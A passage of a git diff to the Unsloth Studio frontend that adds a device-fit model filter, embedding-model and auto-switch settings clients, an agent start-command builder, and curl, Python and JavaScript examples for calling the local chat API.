+ )} ); diff --git a/studio/frontend/src/features/hub/catalog/models-header.tsx b/studio/frontend/src/features/hub/catalog/models-header.tsx index f5afce5c59..10d5a80e5e 100644 --- a/studio/frontend/src/features/hub/catalog/models-header.tsx +++ b/studio/frontend/src/features/hub/catalog/models-header.tsx @@ -15,6 +15,7 @@ import { PackageIcon, RamMemoryIcon, RemoveCircleIcon, + CpuIcon } from "@hugeicons/core-free-icons"; import type { IconSvgElement } from "@hugeicons/react"; import { HugeiconsIcon } from "@hugeicons/react"; @@ -43,6 +44,7 @@ export function ModelsHeader({ isDataset, gpuLabel, ramLabel, + coreLabel, activeCheckpoint, activeGgufVariant, onTitleClick, @@ -53,6 +55,7 @@ export function ModelsHeader({ isDataset: boolean; gpuLabel: string; ramLabel: string; + coreLabel: string; activeCheckpoint: string | null; activeGgufVariant: string | null; onTitleClick: () => void; @@ -84,7 +87,8 @@ export function ModelsHeader({ value={String(localCount)} /> - + + {activeCheckpoint && (
diff --git a/studio/frontend/src/features/hub/catalog/models-toolbar.tsx b/studio/frontend/src/features/hub/catalog/models-toolbar.tsx index 48f7fcffaa..7c08c9c486 100644 --- a/studio/frontend/src/features/hub/catalog/models-toolbar.tsx +++ b/studio/frontend/src/features/hub/catalog/models-toolbar.tsx @@ -1,6 +1,7 @@ // SPDX-License-Identifier: AGPL-3.0-only // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 +import { Checkbox } from "@/components/ui/checkbox"; import { Input } from "@/components/ui/input"; import { Spinner } from "@/components/ui/spinner"; import { @@ -68,6 +69,8 @@ export const ModelsToolbar = memo(function ModelsToolbar({ onFormatFilterChange, capabilityFilter, onCapabilityFilterChange, + fitOnDeviceOnly, + onFitOnDeviceOnlyChange, onManageLocalFolders, onOpenFineTune, }: { @@ -84,6 +87,9 @@ export const ModelsToolbar = memo(function ModelsToolbar({ onFormatFilterChange: (value: ModelFormatFilter) => void; capabilityFilter: CapabilityFilter; onCapabilityFilterChange: (value: CapabilityFilter) => void; + /** Shared with the chat model selector: hide models over the device budget. */ + fitOnDeviceOnly: boolean; + onFitOnDeviceOnlyChange: (value: boolean) => void; onManageLocalFolders: () => void; /** Opens the curated "Fine-tune ready" channel (discover only). Exposed as a * format-dropdown option rather than a standalone feed section. */ @@ -350,6 +356,33 @@ export const ModelsToolbar = memo(function ModelsToolbar({ onValueChange={onSortChange} ariaLabel="Sort models" className={cn(triggerBase, "w-[128px]")} + footer={ + isDataset ? undefined : ( + + + + + + Hides models larger than this device's memory budget. + Downloaded models stay visible. + + + ) + } /> )} diff --git a/studio/frontend/src/features/hub/hub-page.tsx b/studio/frontend/src/features/hub/hub-page.tsx index c696862283..c3920e18f6 100644 --- a/studio/frontend/src/features/hub/hub-page.tsx +++ b/studio/frontend/src/features/hub/hub-page.tsx @@ -5,6 +5,7 @@ import { loadRememberedLoadSettings, rememberedLoadSettingsKey, } from "@/components/assistant-ui/model-selector/remembered-load-settings"; +import { hfModelFitsDevice } from "@/components/assistant-ui/model-selector/recommended-fit"; import { useHubInventory } from "@/features/hub/inventory"; import { useDebouncedValue } from "@/hooks/use-debounced-value"; import { useGpuInfo } from "@/hooks/use-gpu-info"; @@ -327,6 +328,9 @@ export function ModelsPage() { const activeCheckpoint = checkpoint && !isExternalModelId(checkpoint) ? checkpoint : null; const activeGgufVariant = useChatRuntimeStore((s) => s.activeGgufVariant); + // Shared with the chat model selector: list only models sized for this device. + const fitOnDeviceOnly = useChatRuntimeStore((s) => s.fitOnDeviceOnly); + const setFitOnDeviceOnly = useChatRuntimeStore((s) => s.setFitOnDeviceOnly); useEffect(() => { let cancelled = false; @@ -697,7 +701,12 @@ export function ModelsPage() { !isHiddenModelId(row.id) && matchesFormat(detectResultFormat(row.result), effectiveDiscoverFormat) && matchesCapability(row.capabilities, deferredCapabilityFilter) && - (!activeChannel?.finetunableOnly || isUnslothFinetunable(row.result)), + (!activeChannel?.finetunableOnly || isUnslothFinetunable(row.result)) && + // Models already on disk stay visible regardless of device fit, + // matching the chat model selector. + (!fitOnDeviceOnly || + row.isAvailableOnDevice || + hfModelFitsDevice(row.result, gpu)), ); }, [ discoverRows, @@ -705,6 +714,8 @@ export function ModelsPage() { effectiveDiscoverFormat, deferredCapabilityFilter, activeChannel, + fitOnDeviceOnly, + gpu, ]); const listRows = filteredDiscoverRows; @@ -724,8 +735,21 @@ export function ModelsPage() { effectiveLocalRows, ) .filter((row) => !isHiddenModelId(row.id)) - .filter((row) => matchesFormat(row.result.isGguf, "gguf")), - [hubFeed.trending.results, modelDiscoveryInventorySignature], + .filter((row) => matchesFormat(row.result.isGguf, "gguf")) + // Same fit filter as the main Discover list, so the feed carousel + // honors the toggle too. + .filter( + (row) => + !fitOnDeviceOnly || + row.isAvailableOnDevice || + hfModelFitsDevice(row.result, gpu), + ), + [ + hubFeed.trending.results, + modelDiscoveryInventorySignature, + fitOnDeviceOnly, + gpu, + ], ); const feedRows = useMemo(() => { if (!isFeedMode) return []; @@ -1061,11 +1085,15 @@ export function ModelsPage() { const { vramInfo, minMemory } = useHubModelVram(selectedModel, gpu); const gpuLabel = gpu.available - ? `${Math.floor(gpu.memoryTotalGb)} GB` + ? `${Math.round(gpu.memoryTotalGb)} GB` : "Unavailable"; const ramLabel = - gpu.systemRamAvailableGb > 0 - ? `${Math.floor(gpu.systemRamAvailableGb)} GB` + gpu.systemRamTotalGb > 0 + ? `${Math.round(gpu.systemRamTotalGb)} GB` + : "Unavailable"; + const coreLabel = + gpu.cpuCore > 0 && gpu.cpuThread > 0 + ? `${gpu.cpuCore}/${gpu.cpuThread}` : "Unavailable"; const openNewChat = useCallback(() => { @@ -1429,6 +1457,7 @@ export function ModelsPage() { isDataset={isDatasetMode} gpuLabel={gpuLabel} ramLabel={ramLabel} + coreLabel={coreLabel} activeCheckpoint={activeCheckpoint} activeGgufVariant={activeGgufVariant} onTitleClick={handleResetToDiscover} @@ -1448,6 +1477,8 @@ export function ModelsPage() { onFormatFilterChange={setFormatFilter} capabilityFilter={capabilityFilter} onCapabilityFilterChange={setCapabilityFilter} + fitOnDeviceOnly={fitOnDeviceOnly} + onFitOnDeviceOnlyChange={setFitOnDeviceOnly} onManageLocalFolders={handleManageLocalFolders} onOpenFineTune={() => handleOpenList("finetune")} /> diff --git a/studio/frontend/src/features/settings/api/embedding-model.ts b/studio/frontend/src/features/settings/api/embedding-model.ts new file mode 100644 index 0000000000..8b6bc7ee7f --- /dev/null +++ b/studio/frontend/src/features/settings/api/embedding-model.ts @@ -0,0 +1,82 @@ +// SPDX-License-Identifier: AGPL-3.0-only +// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +import { authFetch } from "@/features/auth"; +import { readFastApiError } from "@/lib/format-fastapi-error"; + +export type EmbeddingModelSettings = { + embeddingModel: string; + defaultEmbeddingModel: string; + isCustom: boolean; +}; + +type ApiEmbeddingModelSettings = { + // biome-ignore lint/style/useNamingConvention: API schema + embedding_model: string; + // biome-ignore lint/style/useNamingConvention: API schema + default_embedding_model: string; + // biome-ignore lint/style/useNamingConvention: API schema + is_custom: boolean; +}; + +/** 409 from the backend: the model could not be verified as an embedding model + * (wrong type, gated repo, or offline). Retry with force to save anyway. */ +export class EmbeddingModelVerificationError extends Error {} + +function fromApi(settings: ApiEmbeddingModelSettings): EmbeddingModelSettings { + return { + embeddingModel: settings.embedding_model, + defaultEmbeddingModel: settings.default_embedding_model, + isCustom: settings.is_custom, + }; +} + +export async function loadEmbeddingModelSettings(): Promise { + const res = await authFetch("/api/settings/embedding-model"); + if (!res.ok) { + throw new Error( + await readFastApiError(res, "Failed to load embedding model setting"), + ); + } + return fromApi(await res.json()); +} + +export async function updateEmbeddingModelSettings( + embeddingModel: string, + options?: { hfToken?: string; force?: boolean }, +): Promise { + const res = await authFetch("/api/settings/embedding-model", { + method: "PUT", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ + // biome-ignore lint/style/useNamingConvention: API schema + embedding_model: embeddingModel, + // biome-ignore lint/style/useNamingConvention: API schema + hf_token: options?.hfToken || null, + force: options?.force ?? false, + }), + }); + if (res.status === 409) { + throw new EmbeddingModelVerificationError( + await readFastApiError(res, "Could not verify the embedding model"), + ); + } + if (!res.ok) { + throw new Error( + await readFastApiError(res, "Failed to save embedding model"), + ); + } + return fromApi(await res.json()); +} + +export async function resetEmbeddingModelSettings(): Promise { + const res = await authFetch("/api/settings/embedding-model", { + method: "DELETE", + }); + if (!res.ok) { + throw new Error( + await readFastApiError(res, "Failed to reset embedding model"), + ); + } + return fromApi(await res.json()); +} diff --git a/studio/frontend/src/features/settings/api/openai-auto-switch.ts b/studio/frontend/src/features/settings/api/openai-auto-switch.ts new file mode 100644 index 0000000000..80ffc084d0 --- /dev/null +++ b/studio/frontend/src/features/settings/api/openai-auto-switch.ts @@ -0,0 +1,89 @@ +// SPDX-License-Identifier: AGPL-3.0-only +// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +import { authFetch } from "@/features/auth"; +import { readFastApiError } from "@/lib/format-fastapi-error"; + +export type OpenAIAutoSwitchSettings = { + enabled: boolean; + autoUnloadIdleSeconds: number; + defaultEnabled: boolean; + // True when the idle-unload loop will actually unload (e.g. enabled via the + // UNSLOTH_MODEL_IDLE_TTL env var even while the toggle is off). + idleUnloadActive: boolean; +}; + +type ApiOpenAIAutoSwitchSettings = { + enabled: boolean; + // biome-ignore lint/style/useNamingConvention: API schema + auto_unload_idle_seconds: number; + // biome-ignore lint/style/useNamingConvention: API schema + default_enabled: boolean; + // biome-ignore lint/style/useNamingConvention: API schema + idle_unload_active?: boolean; +}; + +let cachedSettings: OpenAIAutoSwitchSettings | null = null; +let inFlightSettings: Promise | null = null; + +function fromApi( + settings: ApiOpenAIAutoSwitchSettings, +): OpenAIAutoSwitchSettings { + return { + enabled: settings.enabled, + autoUnloadIdleSeconds: settings.auto_unload_idle_seconds, + defaultEnabled: settings.default_enabled, + idleUnloadActive: settings.idle_unload_active ?? false, + }; +} + +async function fetchOpenAIAutoSwitchSettings(): Promise { + const res = await authFetch("/api/settings/openai-auto-switch"); + if (!res.ok) { + throw new Error( + await readFastApiError(res, "Failed to load model auto-switch settings"), + ); + } + return fromApi(await res.json()); +} + +function cacheSettings(settings: OpenAIAutoSwitchSettings) { + cachedSettings = settings; + return settings; +} + +export async function loadOpenAIAutoSwitchSettings() { + if (cachedSettings) { + return cachedSettings; + } + inFlightSettings ??= fetchOpenAIAutoSwitchSettings() + .then(cacheSettings) + .finally(() => { + inFlightSettings = null; + }); + return inFlightSettings; +} + +export async function updateOpenAIAutoSwitchSettings( + enabled: boolean, + autoUnloadIdleSeconds: number, +): Promise { + const res = await authFetch("/api/settings/openai-auto-switch", { + method: "PUT", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ + enabled, + // biome-ignore lint/style/useNamingConvention: API schema + auto_unload_idle_seconds: autoUnloadIdleSeconds, + }), + }); + if (!res.ok) { + throw new Error( + await readFastApiError( + res, + "Failed to update model auto-switch settings", + ), + ); + } + return cacheSettings(fromApi(await res.json())); +} diff --git a/studio/frontend/src/features/settings/components/agent-command.ts b/studio/frontend/src/features/settings/components/agent-command.ts new file mode 100644 index 0000000000..9e87922970 --- /dev/null +++ b/studio/frontend/src/features/settings/components/agent-command.ts @@ -0,0 +1,73 @@ +// SPDX-License-Identifier: AGPL-3.0-only +// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +// Build the `unsloth start ` command for the API-keys panel. +// `unsloth start` reads UNSLOTH_STUDIO_URL (default 127.0.0.1:8888) and only +// auto-mints a key for a loopback server, so the bare command is correct only for +// the default local server. For a non-default port or tunnel/remote base, emit the +// URL (plus a key for non-loopback) so the copy targets what the UI shows. + +const DEFAULT_STUDIO_PORT = "8888"; +const DEFAULT_AGENT = "claude"; + +// URL.hostname brackets IPv6 literals (`new URL("http://[::1]:8888").hostname` is +// "[::1]"), so strip the brackets before matching the bare "::1" loopback rules below. +function normalizeHost(host: string): string { + const lower = host.toLowerCase(); + return lower.startsWith("[") && lower.endsWith("]") ? lower.slice(1, -1) : lower; +} + +// The bare `unsloth start` probes exactly http://127.0.0.1:8888, so only that literal +// host earns the bare command. `localhost` can resolve to ::1 (and `::1` is never +// probed), so both keep an explicit UNSLOTH_STUDIO_URL -- harmless when they alias +// 127.0.0.1, correct when they don't. +function isDefaultLocalHost(host: string): boolean { + return host === "127.0.0.1"; +} + +// Match the CLI auto-mint rule (is_loopback_url): localhost, ::1, and all of 127.0.0.0/8. +function isLoopbackHost(host: string): boolean { + if (host === "localhost" || host === "::1") return true; + const octets = host.split("."); + return ( + octets.length === 4 && + octets[0] === "127" && + octets.every((o) => /^\d{1,3}$/.test(o) && Number(o) <= 255) + ); +} + +export function buildAgentCommand( + base: string | null | undefined, + key: string | null | undefined, + os: "unix" | "windows", + agent: string = DEFAULT_AGENT, +): string { + const bare = `unsloth start ${agent}`; + + let url: URL | null = null; + try { + if (base) url = new URL(base); + } catch { + url = null; + } + // Unknown base: fall back to the bare default-local command. + if (!url) return bare; + + const host = normalizeHost(url.hostname); + const loopback = isLoopbackHost(host); + // Default local server (http://127.0.0.1/localhost:8888): bare command + // auto-discovers it. The CLI's bare default probes plain HTTP, so an HTTPS + // loopback on the same port must keep its explicit UNSLOTH_STUDIO_URL. + if (url.protocol === "http:" && isDefaultLocalHost(host) && url.port === DEFAULT_STUDIO_PORT) { + return bare; + } + + // Non-default server: set the URL; non-loopback also needs an explicit key. + let cmd = bare; + if (!loopback && key) cmd += ` --api-key ${key}`; + + const studioUrl = url.origin; + return os === "windows" + ? `$env:UNSLOTH_STUDIO_URL="${studioUrl}"; ${cmd}` + : `UNSLOTH_STUDIO_URL=${studioUrl} ${cmd}`; +} diff --git a/studio/frontend/src/features/settings/components/embedding-model-combobox.tsx b/studio/frontend/src/features/settings/components/embedding-model-combobox.tsx new file mode 100644 index 0000000000..b0e9a41b7d --- /dev/null +++ b/studio/frontend/src/features/settings/components/embedding-model-combobox.tsx @@ -0,0 +1,134 @@ +// SPDX-License-Identifier: AGPL-3.0-only +// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +import { + Combobox, + ComboboxContent, + ComboboxEmpty, + ComboboxInput, + ComboboxItem, + ComboboxList, +} from "@/components/ui/combobox"; +import { Spinner } from "@/components/ui/spinner"; +import type { PipelineType } from "@huggingface/hub"; +import { useHubModelSearch } from "@/features/hub/hooks/use-hub-model-search"; +import { useDebouncedValue } from "@/hooks"; +import { type ReactElement, useMemo, useRef } from "react"; + +// HF pipeline filter for embedding models; matches the backend's +// is_embedding_model signals (sentence-similarity / feature-extraction). +const EMBEDDING_TASKS: readonly PipelineType[] = [ + "sentence-similarity", + "feature-extraction", +]; + +type EmbeddingModelComboboxProps = { + value: string; + /** Fires on typing, selection, and Enter with the current text. */ + onChange: (value: string) => void; + accessToken?: string; + disabled?: boolean; + placeholder?: string; + ariaLabel?: string; + className?: string; +}; + +export function EmbeddingModelCombobox({ + value, + onChange, + accessToken, + disabled, + placeholder, + ariaLabel, + className, +}: EmbeddingModelComboboxProps): ReactElement { + const selectingRef = useRef(false); + const anchorRef = useRef(null); + // Fully controlled: the parent updates value on every keystroke, so the + // prop itself is the search query. + const debouncedQuery = useDebouncedValue(value); + + const { results, isLoading } = useHubModelSearch(debouncedQuery, { + task: EMBEDDING_TASKS, + accessToken, + excludeGguf: true, + enabled: !disabled, + // Curated unsloth listing when empty (the global top-downloads page holds + // no unsloth mirrors to float); a typed query searches the whole Hub. + ownerScope: debouncedQuery.trim() ? "all" : "unsloth", + }); + + const items = useMemo(() => { + const ids = results.map((item) => item.id); + const selected = value.trim(); + if (selected && !ids.includes(selected)) { + ids.push(selected); + } + return ids; + }, [results, value]); + + return ( +
{ + if (event.key !== "Enter") return; + if (!(event.target instanceof HTMLInputElement)) return; + event.preventDefault(); + const typed = event.target.value.trim(); + if (typed) { + onChange(typed); + } else if (items.length > 0) { + onChange(items[0]); + } + }} + > + onChange(next ?? "")} + onInputValueChange={(next) => { + if (selectingRef.current) { + selectingRef.current = false; + return; + } + onChange(next); + }} + itemToStringValue={(item) => item} + autoHighlight={true} + > + + + {isLoading ? ( +
+ + Searching... +
+ ) : ( + No embedding models found + )} + + {(id: string) => ( + { + selectingRef.current = true; + }} + > + {id} + + )} + + + +
+ ); +} diff --git a/studio/frontend/src/features/settings/components/model-auto-switch-section.tsx b/studio/frontend/src/features/settings/components/model-auto-switch-section.tsx new file mode 100644 index 0000000000..581c78ebd1 --- /dev/null +++ b/studio/frontend/src/features/settings/components/model-auto-switch-section.tsx @@ -0,0 +1,165 @@ +// SPDX-License-Identifier: AGPL-3.0-only +// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +import { Button } from "@/components/ui/button"; +import { Input } from "@/components/ui/input"; +import { Switch } from "@/components/ui/switch"; +import { useT } from "@/i18n"; +import { useEffect, useState } from "react"; +import { + type OpenAIAutoSwitchSettings, + loadOpenAIAutoSwitchSettings, + updateOpenAIAutoSwitchSettings, +} from "../api/openai-auto-switch"; +import { SettingsRow } from "./settings-row"; +import { SettingsSection } from "./settings-section"; + +export function ModelAutoSwitchSection() { + const t = useT(); + const [settings, setSettings] = useState( + null, + ); + const [draftIdleSeconds, setDraftIdleSeconds] = useState("0"); + const [error, setError] = useState(null); + const [isSaving, setIsSaving] = useState(false); + + useEffect(() => { + let cancelled = false; + void loadOpenAIAutoSwitchSettings() + .then((loaded) => { + if (cancelled) return; + setSettings(loaded); + setDraftIdleSeconds(String(loaded.autoUnloadIdleSeconds)); + setError(null); + }) + .catch((loadError) => { + if (cancelled) return; + setError( + loadError instanceof Error + ? loadError.message + : t("settings.general.modelAutoSwitch.loadError"), + ); + }); + return () => { + cancelled = true; + }; + }, [t]); + + // Parse the idle-seconds draft to a non-negative integer; empty/invalid -> null. + const parseIdleSeconds = (): number | null => { + if (!draftIdleSeconds.trim()) { + return null; + } + const parsed = Number(draftIdleSeconds); + return Number.isInteger(parsed) && parsed >= 0 ? parsed : null; + }; + + const persist = async ( + enabled: boolean, + idleSeconds: number, + syncDraft = true, + ) => { + setIsSaving(true); + setError(null); + try { + const saved = await updateOpenAIAutoSwitchSettings(enabled, idleSeconds); + setSettings(saved); + if (syncDraft) { + setDraftIdleSeconds(String(saved.autoUnloadIdleSeconds)); + } + } catch (saveError) { + setError( + saveError instanceof Error + ? saveError.message + : t("settings.general.modelAutoSwitch.saveError"), + ); + } finally { + setIsSaving(false); + } + }; + + // Idle-unload is tied to auto-switch (the freed model reloads via the swap). + // Toggling off preserves the saved seconds rather than zeroing them — the + // backend gates unloading on the enabled flag, so it never unloads while off. + // Enabling commits the drafted value, falling back to the last saved one so + // it can never get stuck. + const handleToggle = (enabled: boolean) => { + const savedIdleSeconds = settings?.autoUnloadIdleSeconds ?? 0; + if (!enabled) { + void persist(false, savedIdleSeconds, false); + return; + } + void persist(true, parseIdleSeconds() ?? savedIdleSeconds); + }; + + const handleSaveIdle = () => { + const idleSeconds = parseIdleSeconds(); + if (idleSeconds === null) { + setError(t("settings.general.modelAutoSwitch.idleError")); + return; + } + void persist(true, idleSeconds); + }; + + return ( + + + + + +
+
+
+ setDraftIdleSeconds(event.target.value)} + className="h-8 w-full pr-8" + /> + + s + +
+ +
+ {error ? ( + + {error} + + ) : settings && !settings.enabled && settings.idleUnloadActive ? ( + + {t("settings.general.modelAutoSwitch.idleActiveViaEnv")} + + ) : settings && !settings.enabled ? ( + + {t("settings.general.modelAutoSwitch.idleNeedsEnable")} + + ) : null} +
+ + + ); +} diff --git a/studio/frontend/src/features/settings/components/usage-examples.tsx b/studio/frontend/src/features/settings/components/usage-examples.tsx index 4085aa2ab0..c43dd0f219 100644 --- a/studio/frontend/src/features/settings/components/usage-examples.tsx +++ b/studio/frontend/src/features/settings/components/usage-examples.tsx @@ -27,50 +27,76 @@ import { import { HugeiconsIcon } from "@hugeicons/react"; import { useEffect, useMemo, useState } from "react"; import { Streamdown } from "streamdown"; +import { + type OpenAIAutoSwitchSettings, + loadOpenAIAutoSwitchSettings, + updateOpenAIAutoSwitchSettings, +} from "../api/openai-auto-switch"; +import { buildAgentCommand } from "./agent-command"; -// API call type; OS axis applies to curl only (Python is OS-identical). type ExampleType = | "curl" | "python" + | "javascript" | "curlTools" | "pythonTools" + | "javascriptTools" | "curlAdvanced" - | "pythonAdvanced"; + | "pythonAdvanced" + | "javascriptAdvanced"; type Os = "unix" | "windows"; -// plain = bare call; tools = server-side tools; advanced = sampling + thinking + tools. type Variant = "plain" | "tools" | "advanced"; const TYPE_TABS: { id: ExampleType; label: string }[] = [ { id: "curl", label: "curl" }, { id: "python", label: "Python" }, + { id: "javascript", label: "JavaScript" }, { id: "curlTools", label: "curl + tools" }, { id: "pythonTools", label: "Python + tools" }, + { id: "javascriptTools", label: "JavaScript + tools" }, { id: "curlAdvanced", label: "curl + advanced" }, { id: "pythonAdvanced", label: "Python + advanced" }, + { id: "javascriptAdvanced", label: "JavaScript + advanced" }, ]; const TYPE_LABEL_KEY: Partial> = { curlTools: "settings.apiKeys.exampleCurlTools", pythonTools: "settings.apiKeys.examplePythonTools", + javascriptTools: "settings.apiKeys.exampleJavaScriptTools", curlAdvanced: "settings.apiKeys.exampleCurlAdvanced", pythonAdvanced: "settings.apiKeys.examplePythonAdvanced", + javascriptAdvanced: "settings.apiKeys.exampleJavaScriptAdvanced", }; const OS_AWARE: Record = { curl: true, python: false, + javascript: false, curlTools: true, pythonTools: false, + javascriptTools: false, curlAdvanced: true, pythonAdvanced: false, + javascriptAdvanced: false, }; const CURL_TYPES = new Set(["curl", "curlTools", "curlAdvanced"]); +const JAVASCRIPT_TYPES = new Set([ + "javascript", + "javascriptTools", + "javascriptAdvanced", +]); const PROMPT = "Can Unsloth Studio do API calling?"; +// Auto-switch demo: a second call naming a different downloaded GGUF so the +// example shows that the model field selects which model serves. +// A placeholder the user replaces with one of their downloaded GGUFs. A fixed +// repo is usually not one they have, so the resolver would fall through and the +// demo would keep serving the current model instead of switching. +const SWITCH_MODEL = "your-other-downloaded-GGUF"; +const SWITCH_PROMPT = "Now answer as a different model."; // web_search + python + terminal are the reliable built-in tools. const TOOLS = ["web_search", "python", "terminal"]; -// Sampling/thinking knobs for the "+ advanced" examples. const ADV = { temperature: 0.7, top_p: 0.8, @@ -81,37 +107,18 @@ const ADV = { } as const; const DOC_LINKS = [ - { - label: "Claude Code", - href: "https://unsloth.ai/docs/basics/claude-code", - }, - { - label: "Codex", - href: "https://unsloth.ai/docs/basics/codex", - }, - { - label: "OpenClaw", - href: "https://unsloth.ai/docs/integrations/openclaw", - }, - { - label: "OpenCode", - href: "https://unsloth.ai/docs/integrations/opencode", - }, - { - label: "Hermes Agent", - href: "https://unsloth.ai/docs/integrations/hermes-agent", - }, + { label: "Claude Code", href: "https://unsloth.ai/docs/basics/claude-code" }, + { label: "Codex", href: "https://unsloth.ai/docs/basics/codex" }, + { label: "OpenClaw", href: "https://unsloth.ai/docs/integrations/openclaw" }, + { label: "OpenCode", href: "https://unsloth.ai/docs/integrations/opencode" }, + { label: "Hermes Agent", href: "https://unsloth.ai/docs/integrations/hermes-agent" }, ]; -// JSON-encode; also a valid Python literal, so odd model names never break output. const j = (s: string): string => JSON.stringify(s); -// Embed in a POSIX single-quoted string: close, escaped quote, reopen. const shSingle = (s: string): string => s.replace(/'/g, "'\\''"); -// Embed in a PowerShell single-quoted string: '' is a literal quote. const psSingle = (s: string): string => s.replace(/'/g, "''"); const toolsJson = TOOLS.map(j).join(", "); -// Shared body fields (after model/messages, before stream) per variant. function bodyExtraLines(variant: Variant, indent: string): string[] { const lines: string[] = []; if (variant === "advanced") { @@ -140,7 +147,6 @@ function curlBodyPretty(model: string, variant: Variant): string { return `{\n${lines.join("\n")}\n }`; } -// One-line JSON for the Windows body file (PowerShell mangles inline quotes to curl.exe). function winBody(model: string, variant: Variant): string { const body: Record = { model, @@ -160,29 +166,35 @@ function winBody(model: string, variant: Variant): string { body.enabled_tools = TOOLS; } body.stream = true; - return JSON.stringify(body); + return JSON.stringify(body, null, 2); } +// A leading comment (valid in both bash and PowerShell) noting the model field +// selects the served model when auto-switch is on. +const SWITCH_NOTE = + '# "Switch model by request" is on: set "model" to any downloaded GGUF to switch.\n'; + function curlUnix( base: string, key: string, model: string, variant: Variant, + autoSwitch: boolean, ): string { - return `curl ${base}/v1/chat/completions \\ + return `${autoSwitch ? SWITCH_NOTE : ""}curl ${base}/v1/chat/completions \\ -H "Authorization: Bearer ${key}" \\ -H "Content-Type: application/json" \\ -d '${shSingle(curlBodyPretty(model, variant))}'`; } -// Windows PowerShell: curl aliases to Invoke-WebRequest, so use curl.exe + body file. function curlWindows( base: string, key: string, model: string, variant: Variant, + autoSwitch: boolean, ): string { - return `$body = '${psSingle(winBody(model, variant))}' + return `${autoSwitch ? SWITCH_NOTE : ""}$body = '${psSingle(winBody(model, variant))}' Set-Content -Path body.json -Value $body -Encoding ascii curl.exe ${base}/v1/chat/completions \` -H "Authorization: Bearer ${key}" \` @@ -190,13 +202,30 @@ curl.exe ${base}/v1/chat/completions \` -d "@body.json"`; } +// A second OpenAI call naming a different downloaded GGUF: with auto-switch on, +// Studio loads it before serving, so the model field selects the served model. +function pythonSwitchDemo(): string { + return ` + +# "Switch model by request" is on: replace the model below with another GGUF you +# have downloaded and Studio loads it before serving. Unknown names keep serving +# the current model. +response = client.chat.completions.create( + model=${j(SWITCH_MODEL)}, + messages=[{"role": "user", "content": ${j(SWITCH_PROMPT)}}], + stream=True, +) +for chunk in response: + print(chunk.choices[0].delta.content or "", end="")`; +} + function pythonSnippet( base: string, key: string, model: string, variant: Variant, + autoSwitch: boolean, ): string { - // Standard OpenAI args are named; Unsloth extensions go through extra_body. const named = variant === "advanced" ? ` @@ -221,7 +250,6 @@ function pythonSnippet( ${extra.join("\n")} },` : ""; - // With tools, some chunks are tool-lifecycle events with no choices; guard it. const loop = variant !== "plain" ? `for chunk in response: @@ -241,7 +269,71 @@ response = client.chat.completions.create( messages=[{"role": "user", "content": ${j(PROMPT)}}],${named}${extraBody} stream=True, ) -${loop}`; +${loop}${autoSwitch ? pythonSwitchDemo() : ""}`; +} + +function javascriptSnippet( + base: string, + key: string, + model: string, + variant: Variant, + autoSwitch: boolean, +): string { + const options: string[] = []; + if (variant === "advanced") { + options.push(` temperature: ${ADV.temperature},`); + options.push(` top_p: ${ADV.top_p},`); + options.push(` max_tokens: ${ADV.max_tokens},`); + } + + // The JS SDK forwards unknown options into the request body, so these go at the + // top level (the Python SDK needs them under extra_body instead). + if (variant === "advanced") { + options.push(` top_k: ${ADV.top_k},`); + options.push(` min_p: ${ADV.min_p},`); + options.push(` repetition_penalty: ${ADV.repetition_penalty},`); + options.push(` enable_thinking: true,`); + } + if (variant !== "plain") { + options.push(` enable_tools: true,`); + options.push(` enabled_tools: [${toolsJson}],`); + } + + const trailingOptions = options.length ? `\n${options.join("\n")}` : ""; + + return `import OpenAI from "openai"; + +const client = new OpenAI({ + baseURL: ${j(`${base}/v1`)}, + apiKey: ${j(key)}, +}); + +const response = await client.chat.completions.create({ + model: ${j(model)}, + messages: [{ role: "user", content: ${j(PROMPT)} }],${trailingOptions} + stream: true, +}); + +for await (const chunk of response) { + process.stdout.write(chunk.choices?.[0]?.delta?.content || ""); +}${autoSwitch ? javascriptSwitchDemo() : ""}`; +} + +function javascriptSwitchDemo(): string { + return ` + +// "Switch model by request" is on: replace the model below with another GGUF you +// have downloaded and Studio loads it before serving. Unknown names keep serving +// the current model. +const switchResponse = await client.chat.completions.create({ + model: ${j(SWITCH_MODEL)}, + messages: [{ role: "user", content: ${j(SWITCH_PROMPT)} }], + stream: true, +}); + +for await (const chunk of switchResponse) { + process.stdout.write(chunk.choices?.[0]?.delta?.content || ""); +}`; } function buildSnippets( @@ -249,22 +341,30 @@ function buildSnippets( key: string, model: string, os: Os, + autoSwitch: boolean, ): Record { const curl = os === "windows" ? curlWindows : curlUnix; return { - curl: curl(base, key, model, "plain"), - python: pythonSnippet(base, key, model, "plain"), - curlTools: curl(base, key, model, "tools"), - pythonTools: pythonSnippet(base, key, model, "tools"), - curlAdvanced: curl(base, key, model, "advanced"), - pythonAdvanced: pythonSnippet(base, key, model, "advanced"), + curl: curl(base, key, model, "plain", autoSwitch), + python: pythonSnippet(base, key, model, "plain", autoSwitch), + javascript: javascriptSnippet(base, key, model, "plain", autoSwitch), + curlTools: curl(base, key, model, "tools", autoSwitch), + pythonTools: pythonSnippet(base, key, model, "tools", autoSwitch), + javascriptTools: javascriptSnippet(base, key, model, "tools", autoSwitch), + curlAdvanced: curl(base, key, model, "advanced", autoSwitch), + pythonAdvanced: pythonSnippet(base, key, model, "advanced", autoSwitch), + javascriptAdvanced: javascriptSnippet( + base, + key, + model, + "advanced", + autoSwitch, + ), }; } const KEY_PLACEHOLDER = "sk-unsloth-YOUR_KEY"; const MODEL_FALLBACK = "unsloth/gemma-4-E4B-it-GGUF:UD-Q5_K_XL"; - -// Default ON: when a tunnel exists, examples should show the public base_url. const USE_TUNNEL_KEY = "unsloth_api_use_tunnel"; function readUseTunnelPref(): boolean { @@ -281,11 +381,10 @@ function writeUseTunnelPref(value: boolean): void { try { window.localStorage.setItem(USE_TUNNEL_KEY, value ? "true" : "false"); } catch { - // Non-fatal: the toggle still applies for this session. + // Non-fatal } } -// Active local checkpoint as repo[:variant]; external/none falls back to a default. function useLoadedModelName(): string { const checkpoint = useChatRuntimeStore((s) => 